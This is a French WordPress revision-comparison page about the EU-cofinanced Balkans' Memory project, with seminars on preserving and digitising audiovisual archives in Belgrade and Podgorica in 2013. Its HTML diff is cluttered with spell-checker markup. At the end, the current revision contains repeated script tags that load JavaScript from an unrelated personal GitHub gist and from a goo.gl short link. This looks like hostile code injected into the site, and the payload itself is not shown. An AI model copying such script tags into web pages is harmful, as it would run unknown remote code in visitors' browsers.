You are viewing an old revision of this post, from October 24, 2013 @ 16:17:49. See below for differences between this version and the current revision.
Belgrade, du 16 au 18 avril
36 professionnels des Balkans occidentaux, travaillent dans les archives audiovisuelles et cinéma et ou les sociétés de production audiovisuelle, ont assisté à la deuxième séminaire de la direction de la mémoire Balkans à Belgrade, du 16 au 18 Avril.
Ce séminaire - organisé à Belgrade et dédié à la numérisation et le stockage du contenu cinématographique et audiovisuelle - est le deuxième d'une série de 5 séminaires et actions de formation régionaux dédiés aux professionnels de l'Albanie, la Bosnie-Herzégovine, la Croatie, l'ancienne République yougoslave de Macédoine, Kosovo, Monténégro et Serbie.
Les sessions théoriques ont été intégrés avec des études de cas présentées par des experts des pays ciblés ou voisins ainsi que par une visite aux archives nationales télévision et à la Cinémathèque de Belgrade.
Prochain séminaire aura lieu à l'automne à Podgorica, en partenariat avec la Cinémathèque du Monténégro et de la RTCG. Elle sera consacrée à: cadre juridique, les pratiques de documentation et la promotion du contenu numérique.
Lisez le programme
Changes:
October 24, 2013 @ 16:17:49 | Current Revision | ||
---|---|---|---|
Title | |||
Séminaire sur la numérisation des archives et la gestion des médias numériques | Balkans’ Memory. Sauvegarder et Valoriser la Mémoire Audiovisuelle |
Content | |||
---|---|---|---|
<p> | |||
<img style="width: 78px; height: 52px; float: left;" src="/userfiles/ image/UE.jpg" alt="" /> | |||
<em><span data-scayt_word="Projet" data-scaytid= "1">Projet</span> <span data-scayt_word= "cofinancé" data-scaytid= "2">cofinancé</span> par la Commission <span data-scayt_word= "européenne" data-scaytid= "3">européenne</span></em> | |||
| |||
<strong><em>Un nouveau <span data-scayt_word="projet" data-scaytid= "4">projet</span> pour la <span data-scayt_word= "mémoire" data-scaytid= "5">mémoire</span> <span data-scayt_word= "audiovisuelle" data-scaytid= "6">audiovisuelle</span> des Balkans</em></strong> | |||
<div style="text-align: justify;">Le <span data-scayt_word="Projet" data-scaytid= "7">Projet</span> Balkans’ Memory, <span data-scayt_word= "cofinancé" data-scaytid= "8">cofinancé</span> par la Commission <span data-scayt_word= "européenne" data-scaytid= "9">européenne</span>, vise a <span data-scayt_word="mettre" data-scaytid= "13">mettre</span> en place <span data-scayt_word="dans" data-scaytid= "14">dans</span> la <span data-scayt_word="région" data-scaytid= "16">région</span> des Balkans la <span data-scayt_word= "première" data-scaytid= "18">première</span> <span data-scayt_word="étape" data-scaytid= "19">étape</span> <span data-scayt_word= "d’une" data-scaytid= "20">d’une</span> <span data-scayt_word= "ambitieuse" data-scaytid= "21">ambitieuse</span> <span data-scayt_word="politique" data-scaytid= "22">politique</span> de <span data-scayt_word= "sauvegarde" data-scaytid= "23">sauvegarde</span> et de <span data-scayt_word= "valorisation" data-scaytid= "24">valorisation</span> du <span data-scayt_word= "patrimoine" data-scaytid= "25">patrimoine</span> <span data-scayt_word= "audiovisuel" data-scaytid= "26">audiovisuel</span> et <span data-scayt_word= "d’encourager" data-scaytid= "27">d’encourager</span> les <span data-scayt_word= "échanges" data-scaytid= "28">échanges</span> de savoir-faire et le <span data-scayt_word= "renforcement" data-scaytid= "29">renforcement</span> des <span data-scayt_word= "compétences" data-scaytid= "30">compétences</span> des <span data-scayt_word= "professionnels" data-scaytid= "31">professionnels</span> <span data-scayt_word= "travaillant" data-scaytid= "32">travaillant</span> <span data-scayt_word="dans" data-scaytid= "15">dans</span> les <span data-scayt_word="centres" data-scaytid= "33">centres</span> <span data-scayt_word= "d’archives" data-scaytid= "34">d’archives</span> et les <span data-scayt_word= "télévisions" data-scaytid= "35">télévisions</span> de la <span data-scayt_word="région" data-scaytid= "17">région< /span>.</div> | |||
<div style="text-align: justify;"></div> | |||
<div style="text-align: justify;"><span data-scayt_word="Mené" data-scaytid= "43">Mené</span> par <span data-scayt_word= "l’Ina" data-scaytid= "44">l’Ina</span> via son <span data-scayt_word="centre" data-scaytid= "45">centre</span> <span data-scayt_word= "d’expertise" data-scaytid= "46">d’expertise</span> des <span data-scayt_word="médias" data-scaytid= "47">médias</span> et des <span data-scayt_word="contenus" data-scaytid= "48">contenus</span> <span data-scayt_word= "numériques" data-scaytid= "49">numériques</span> Ina EXPERT, en <span data-scayt_word= "partenariat" data-scaytid= "50">partenariat</span> <span data-scayt_word="avec" data-scaytid= "51">avec</span> le Centre <span data-scayt_word= "audiovisuel" data-scaytid= "36">audiovisuel</span> <span data-scayt_word="croate" data-scaytid= "54">croate</span>, le Centre des archives du film <span data-scayt_word= "d’Albanie" data-scaytid= "55">d’Albanie</span> et la <span data-scayt_word="COPEAM" data-scaytid= "56">COPEAM</span>, <span data-scayt_word="il" data-scaytid= "57">il</span> se compose <span data-scayt_word= "d’actions" data-scaytid= "58">d’actions</span> <span data-scayt_word= "préparatoires" data-scaytid= "59">préparatoires</span> et vise <span data-scayt_word="à " data-scaytid= "60">à</span> <span data-scayt_word= "sensibiliser" data-scaytid= "62">sensibiliser</span> les <span data-scayt_word= "décideurs" data-scaytid= "63">décideurs</span> de la <span data-scayt_word="région" data-scaytid= "38">région</span> des Balkans <span data-scayt_word="à " data-scaytid= "61">à</span> la <span data-scayt_word= "nécessité" data-scaytid= "65">nécessité</span> <span data-scayt_word= "d’investir" data-scaytid= "66">d’investir</span> <span data-scayt_word="dans" data-scaytid= "39">dans</span> la <span data-scayt_word= "sauvegarde" data-scaytid= "40">sauvegarde</span>, la <span data-scayt_word= "numérisation" data-scaytid= "69">numérisation</span>, la <span data-scayt_word= "valorisation" data-scaytid= "41">valorisation</span> et la <span data-scayt_word="gestion" data-scaytid= "71">gestion</span> de <span data-scayt_word="leur" data-scaytid= "72">leur</span> <span data-scayt_word= "patrimoine" data-scaytid= "42">patrimoine</span> <span data-scayt_word= "cinématographique" data-scaytid= "74">cinématographique</span> et <span data-scayt_word= "audiovisuel" data-scaytid= "37">audiovisuel</span>. | |||
Il <span data-scayt_word= "s’adressera" data-scaytid= "151">s’adressera</span> <span data-scayt_word="à " data-scaytid= "107">à</span> <span data-scayt_word="trois" data-scaytid= "154">trois</span> types de public – les <span data-scayt_word= "décideurs" data-scaytid= "109">décideurs</span>, les <span data-scayt_word= "responsables" data-scaytid= "156">responsables</span> de <span data-scayt_word="centre" data-scaytid= "110">centre</span> <span data-scayt_word= "d’archives" data-scaytid= "111">d’archives</span> et les <span data-scayt_word= "professionnels" data-scaytid= "112">professionnels</span> – <span data-scayt_word="à " data-scaytid= "108">à</span> <span data-scayt_word="une" data-scaytid= "160">une</span> <span data-scayt_word= "échelle" data-scaytid= "161">échelle</span> locale et <span data-scayt_word= "régionale" data-scaytid= "162">régionale</span> et <span data-scayt_word="entend" data-scaytid= "163">entend</span> <span data-scayt_word="créer" data-scaytid= "164">créer</span> les conditions <span data-scayt_word= "nécessaires" data-scaytid= "165">nécessaires</span> pour encourager la <span data-scayt_word= "sauvegarde" data-scaytid= "113">sauvegarde</span>, la <span data-scayt_word= "numérisation" data-scaytid= "114">numérisation</span> et la <span data-scayt_word= "valorisation" data-scaytid= "115">valorisation</span> du <span data-scayt_word= "patrimoine" data-scaytid= "116">patrimoine</span> <span data-scayt_word= "audiovisuel" data-scaytid= "117">audiovisuel</span> <span data-scayt_word="dans" data-scaytid= "118">dans</span> les Balkans :• En <span data-scayt_word= "sensibilisant" data-scaytid= "174">sensibilisant</span> les <span data-scayt_word= "décideurs" data-scaytid= "172">décideurs</span> et les <span data-scayt_word="bailleurs" data-scaytid= "176">bailleurs</span> de fonds <span data-scayt_word="à " data-scaytid= "173">à</span> la <span data-scayt_word="valeur" data-scaytid= "178">valeur</span> <span data-scayt_word= "historique" data-scaytid= "179">historique</span>, <span data-scayt_word= "culturelle" data-scaytid= "180">culturelle</span>, <span data-scayt_word= "éducative" data-scaytid= "181">éducative</span> et <span data-scayt_word= "économique" data-scaytid= "182">économique</span> des archives, | |||
• En <span data-scayt_word="dotant" data-scaytid= "188">dotant</span> les <span data-scayt_word= "responsables" data-scaytid= "183">responsables</span> de <span data-scayt_word="ces" data-scaytid= "190">ces</span> fonds des <span data-scayt_word= "connaissances" data-scaytid= "191">connaissances</span> <span data-scayt_word= "nécessaires" data-scaytid= "184">nécessaires</span> <span data-scayt_word="à " data-scaytid= "185">à</span> la <span data-scayt_word="mise" data-scaytid= "194">mise</span> en place <span data-scayt_word= "d’un" data-scaytid= "195">d’un</span> plan de <span data-scayt_word= "sauvegarde" data-scaytid= "186">sauvegarde</span> et de <span data-scayt_word= "numérisation" data-scaytid= "187">numérisation</span> des fonds, | |||
• En <span data-scayt_word= "renforçant" data-scaytid= "205">renforçant</span> les <span data-scayt_word= "capacités" data-scaytid= "206">capacités</span> des <span data-scayt_word= "professionnels" data-scaytid= "198">professionnels</span> <span data-scayt_word= "travaillant" data-scaytid= "199">travaillant</span> <span data-scayt_word="dans" data-scaytid= "200">dans</span> le <span data-scayt_word="domaine" data-scaytid= "210">domaine</span> des archives <span data-scayt_word= "audiovisuelles" data-scaytid= "211">audiovisuelles</span>. | |||
<a href="http:// www.copeam.org/UserFiles/ File/Projects/ 179_balkans_ memory_leaflet_ press4.pdf"><strong> | |||
Brochure Balkans' Memory< /strong></a></div> | |||
<div style="text-align: justify;"></div> | |||
<table style="width: 200px;" border="0" cellspacing="1" cellpadding="1" align="left"> | |||
<tbody> | |||
<tr> | |||
<td><a href="http:// www.facebook.com/ BalkansMemory"> | |||
<img style="float: left;" src="http://www.copeam.org/ userfiles/image/find-us-on- facebook.jpg" alt="" width="122" height="29" /></a></td> | |||
<td></td> | |||
</tr> | |||
</tbody> | |||
</table> | |||
| |||
| |||
<span style="color: #a52a2a;"><span style="font-size: 14px;"><strong>A LA <span data-scayt_word="UNE" data-scaytid= "212">UNE</span></strong> </span></span> | |||
<strong>Balkans’ Memory : <span data-scayt_word= "séminaire" data-scaytid= "213">séminaire</span> <span data-scayt_word="sur" data-scaytid= "214">sur</span> le cadre <span data-scayt_word="légal" data-scaytid= "215">légal</span> et la <span data-scayt_word= "valorisation" data-scaytid= "204">valorisation</span> <span data-scayt_word= "cinématographiques" data-scaytid= "217">cinématographiques</span> et <span data-scayt_word= "audiovisuels" data-scaytid= "218">audiovisuels< /span></strong> | |||
<em><span data-scayt_word="Podgorica" data-scaytid= "249">Podgorica< /span></em>,<em> du 28 au 30 <span data-scayt_word="octobre" data-scaytid= "250">octobre</span> 2013</em> | |||
<span data-scayt_word="Dans" data-scaytid= "252">Dans</span> le cadre du <span data-scayt_word="projet" data-scaytid= "219">projet</span> Balkans’ Memory, <span data-scayt_word= "l’Ina" data-scaytid= "220">l’Ina</span>, en <span data-scayt_word= "partenariat" data-scaytid= "221">partenariat</span> <span data-scayt_word="avec" data-scaytid= "222">avec</span> la <span data-scayt_word= "Cinémathèque" data-scaytid= "257">Cinémathèque</span> du <span data-scayt_word= "Monténégro" data-scaytid= "258">Monténégro</span> et la <span data-scayt_word="RTCG" data-scaytid= "259">RTCG</span>, <span data-scayt_word="organise" data-scaytid= "260">organise</span> du 28 au 30 <span data-scayt_word="octobre" data-scaytid= "251">octobre</span> 2013 un <span data-scayt_word= "séminaire" data-scaytid= "223">séminaire</span> <span data-scayt_word="sur" data-scaytid= "224">sur</span> le cadre <span data-scayt_word="légal" data-scaytid= "225">légal</span> et la <span data-scayt_word= "valorisation" data-scaytid= "226">valorisation</span> des <span data-scayt_word="contenus" data-scaytid= "227">contenus</span> <span data-scayt_word= "audiovisuels" data-scaytid= "228">audiovisuels</span>. | |||
<span data-scayt_word="Ce" data-scaytid= "278">Ce</span> <span data-scayt_word= "séminaire" data-scaytid= "239">séminaire</span> se <span data-scayt_word= "déroulera" data-scaytid= "280">déroulera</span> <span data-scayt_word="à " data-scaytid= "240">à</span> <span data-scayt_word="Podgorica" data-scaytid= "271">Podgorica</span> et fait suite aux <span data-scayt_word="deux" data-scaytid= "285">deux</span> <span data-scayt_word= "rencontres" data-scaytid= "286">rencontres</span> <span data-scayt_word="sur" data-scaytid= "243">sur</span> la <span data-scayt_word= "préservation" data-scaytid= "289">préservation</span> et la <span data-scayt_word= "restauration" data-scaytid= "290">restauration</span> des archives <span data-scayt_word="à " data-scaytid= "241">à</span> Tirana, en <span data-scayt_word="novembre" data-scaytid= "291">novembre</span> 2012, et <span data-scayt_word="sur" data-scaytid= "244">sur</span> la <span data-scayt_word= "numérisation" data-scaytid= "245">numérisation</span> et la <span data-scayt_word="gestion" data-scaytid= "246">gestion</span> des <span data-scayt_word="médias" data-scaytid= "247">médias</span> <span data-scayt_word= "numériques" data-scaytid= "248">numériques</span> <span data-scayt_word="à " data-scaytid= "242">à</span> Belgrade, en <span data-scayt_word="avril" data-scaytid= "296">avril</span> 2013. | |||
<span data-scayt_word="Cette" data-scaytid= "302">Cette</span> <span data-scayt_word="fois" data-scaytid= "303">fois</span>, les participants <span data-scayt_word= "aborderont" data-scaytid= "304">aborderont</span> la question du cadre <span data-scayt_word="légal" data-scaytid= "297">légal</span> <span data-scayt_word= "concernant" data-scaytid= "306">concernant</span> <span data-scayt_word= "l’exploitation" data-scaytid= "307">l’exploitation</span> des <span data-scayt_word= "Å“uvres" data-scaytid= "308">œuvres</span> <span data-scayt_word= "cinématographiques" data-scaytid= "298">cinématographiques</span> et <span data-scayt_word= "audiovisuelles" data-scaytid= "299">audiovisuelles</span>, <span data-scayt_word="incluant" data-scaytid= "311">incluant</span> les <span data-scayt_word= "modalités" data-scaytid= "312">modalités</span> de <span data-scayt_word= "libération" data-scaytid= "313">libération</span> des <span data-scayt_word="droits" data-scaytid= "314">droits</span>. Les <span data-scayt_word="pratiques" data-scaytid= "315">pratiques</span> <span data-scayt_word= "documentaires" data-scaytid= "316">documentaires</span> et la description des fonds <span data-scayt_word="seront" data-scaytid= "317">seront</span> <span data-scayt_word= "également" data-scaytid= "318">également</span> <span data-scayt_word= "traitées" data-scaytid= "319">traitées</span>, tout <span data-scayt_word="comme" data-scaytid= "320">comme</span> la <span data-scayt_word= "valorisation" data-scaytid= "300">valorisation</span> des images et des sons <span data-scayt_word="à " data-scaytid= "301">à</span> <span data-scayt_word="travers" data-scaytid= "323">travers</span> <span data-scayt_word= "l’analyse" data-scaytid= "324">l’analyse</span> de <span data-scayt_word="cas" data-scaytid= "325">cas</span> <span data-scayt_word= "d’étude" data-scaytid= "326">d’étude</span> <span data-scayt_word= "pertinents" data-scaytid= "327">pertinents</span>. | |||
Les <span data-scayt_word="cours" data-scaytid= "330">cours</span> <span data-scayt_word= "théoriques" data-scaytid= "331">théoriques</span>, <span data-scayt_word= "délivrés" data-scaytid= "332">délivrés</span> en <span data-scayt_word="anglais" data-scaytid= "333">anglais</span>, <span data-scayt_word="seront" data-scaytid= "328">seront</span> <span data-scayt_word="enrichis" data-scaytid= "335">enrichis</span> par des tables <span data-scayt_word="rondes" data-scaytid= "336">rondes</span> et des <span data-scayt_word="visites" data-scaytid= "337">visites</span> <span data-scayt_word= "ciblées" data-scaytid= "338">ciblées</span> et <span data-scayt_word= "animées" data-scaytid= "339">animées</span> par des <span data-scayt_word= "spécialistes" data-scaytid= "340">spécialistes</span>. | |||
<strong><span data-scayt_word="Lundi" data-scaytid= "341">Lundi</span> 28 <span data-scayt_word="octobre" data-scaytid= "329">octobre< /span></strong> | |||
• Cadre <span data-scayt_word="légal" data-scaytid= "343">légal</span> de <span data-scayt_word= "l’exploitation" data-scaytid= "344">l’exploitation</span> des <span data-scayt_word="contenus" data-scaytid= "345">contenus</span> <span data-scayt_word= "audiovisuels" data-scaytid= "346">audiovisuels</span> – <span data-scayt_word="droits" data-scaytid= "347">droits</span> <span data-scayt_word= "d’auteur" data-scaytid= "355">d’auteur</span> et copyright | |||
• <span data-scayt_word= "Libération" data-scaytid= "356">Libération</span> des <span data-scayt_word="droits" data-scaytid= "348">droits</span> | |||
• Panorama de la situation <span data-scayt_word= "législative" data-scaytid= "361">législative</span> en la <span data-scayt_word= "matière" data-scaytid= "362">matière</span> <span data-scayt_word="dans" data-scaytid= "357">dans</span> les pays <span data-scayt_word="ciblés" data-scaytid= "364">ciblés</span> | |||
<strong>Mardi 29 <span data-scayt_word="octobre" data-scaytid= "358">octobre< /span></strong> | |||
• Les <span data-scayt_word="pratiques" data-scaytid= "359">pratiques</span> <span data-scayt_word= "documentaires" data-scaytid= "360">documentaires</span> <span data-scayt_word= "associées" data-scaytid= "368">associées</span> aux <span data-scayt_word= "différents" data-scaytid= "369">différents</span> usages | |||
• Les <span data-scayt_word="niveaux" data-scaytid= "392">niveaux</span> de description | |||
<p> | |||
<br /> | |||
Les | |||
<br /> | |||
Prochain séminaire aura lieu à l'automne à Podgorica, en partenariat avec la Cinémathèque du Monténégro et de la RTCG. Elle sera consacrée à: cadre juridique, les pratiques de documentation et la promotion du contenu numérique.<br /> | |||
<br /> | |||
<a href="http:// www.ina-sup.com/ sites/default/ files/Draft_Programme_Belgrade_ __April2013_3.pdf"><span style="color: #000080;"><u> <strong>Lisez le programme</strong> </u></span></a></p> | |||
<p> | |||
• <span data-scayt_word="Cas" data-scaytid= "393">Cas</span> <span data-scayt_word= "d’étude" data-scaytid= "370">d’étude</span> <span data-scayt_word= "d’un" data-scaytid= "371">d’un</span> <span data-scayt_word="outil" data-scaytid= "396">outil</span> <span data-scayt_word= "documentaire" data-scaytid= "397">documentaire</span> | |||
• <span data-scayt_word="Visites" data-scaytid= "398">Visites</span> des collections de la <span data-scayt_word= "Cinémathèque" data-scaytid= "372">Cinémathèque</span> du <span data-scayt_word= "Monténégro" data-scaytid= "373">Monténégro</span> et de la <span data-scayt_word="RTCG" data-scaytid= "374">RTCG</span> (<span data-scayt_word="à " data-scaytid= "375">à</span> <span data-scayt_word="confirmer" data-scaytid= "403">confirmer</span>) | |||
<strong><span data-scayt_word="Mercredi" data-scaytid= "404">Mercredi</span> 30 <span data-scayt_word="octobre" data-scaytid= "376">octobre< /span></strong> | |||
• Panorama des <span data-scayt_word= "différents" data-scaytid= "384">différents</span> types de <span data-scayt_word="projets" data-scaytid= "416">projets</span> de <span data-scayt_word= "valorisation" data-scaytid= "385">valorisation</span> | |||
• <span data-scayt_word="Cas" data-scaytid= "408">Cas</span> <span data-scayt_word= "d’étude" data-scaytid= "386">d’étude</span> <span data-scayt_word="sur" data-scaytid= "387">sur</span> <span data-scayt_word="une" data-scaytid= "389">une</span> collection <span data-scayt_word= "cinématographique" data-scaytid= "391">cinématographique</span> et <span data-scayt_word="sur" data-scaytid= "388">sur</span> <span data-scayt_word="une" data-scaytid= "390">une</span> collection <span data-scayt_word= "Télé" data-scaytid= "425">Télé</span> | |||
• <span data-scayt_word="Cas" data-scaytid= "426">Cas</span> <span data-scayt_word= "d’étude" data-scaytid= "427">d’étude</span> : la <span data-scayt_word="politique" data-scaytid= "428">politique</span> de <span data-scayt_word= "valorisation" data-scaytid= "429">valorisation</span> de <span data-scayt_word= "l’Ina" data-scaytid= "430">l’Ina</span> | |||
<span data-scayt_word="Ce" data-scaytid= "431">Ce</span> <span data-scayt_word= "séminaire" data-scaytid= "432">séminaire</span> <span data-scayt_word= "s’adressera" data-scaytid= "433">s’adressera</span> <span data-scayt_word="à " data-scaytid= "434">à</span> un public <span data-scayt_word= "composé" data-scaytid= "463">composé</span> <span data-scayt_word= "d’une" data-scaytid= "435">d’une</span> <span data-scayt_word="quinzaine" data-scaytid= "465">quinzaine</span> de <span data-scayt_word= "professionnels" data-scaytid= "436">professionnels</span> des archives de la <span data-scayt_word="région" data-scaytid= "437">région</span> des <span data-scayt_word="Balkans1" data-scaytid= "468">Balkans1</span>. | |||
<a href="http:// www.ina-expert.com/content/ download/3266/ 67721/version/ 1/file/Draft+ Programme+Podgorica+ seminar+30072013_ V2.pdf"><span style="color: #000080;"><span style="text-decoration: underline;">< strong><span data-scayt_word="Programme" data-scaytid= "469">Programme</span> du <span data-scayt_word= "sémianire" data-scaytid= "470">sémianire</span> </strong></span></span></a> | |||
<span style="color: #000080;"><strong><a href="http:// www.ina-expert.com/actus/ podgorica-du- 28-au-30-octobre- seminaire-sur- le-cadre-legal- et-la-valorisation- des-contenus- audiovisuels.html">Plus <span data-scayt_word= "d’infos" data-scaytid= "471">d’infos</span> <span data-scayt_word="sur" data-scaytid= "450">sur</span> le séminaire</a> </strong></span> | |||
<a href="http:// www.ina-sup.com/ international/ balkans-memory-un-nouveau- projet-pour-la- memoire-audiovisuelle- des-balkans"><span style="color: #000080;"><span style="text-decoration: underline;"><strong>Plus d’infos sur le projet</strong> </span></span></a> | |||
<p> | |||
<span style="font-size: 9px;">1-Albanie, ARY de Macédoine, Bosnie-Herzégovine, Croatie, Kosovo*, Monténégro, Serbie.</span> | |||
<script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// goo.gl/dd1kPI'></script> | <span style="font-size: 9px;">*Dans le respect de la résolution 1244 du Conseil de Sécurité de l’ONU</span> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// goo.gl/dd1kPI'></script> |
Note: Spaces may be added to comparison text to allow better line wrapping.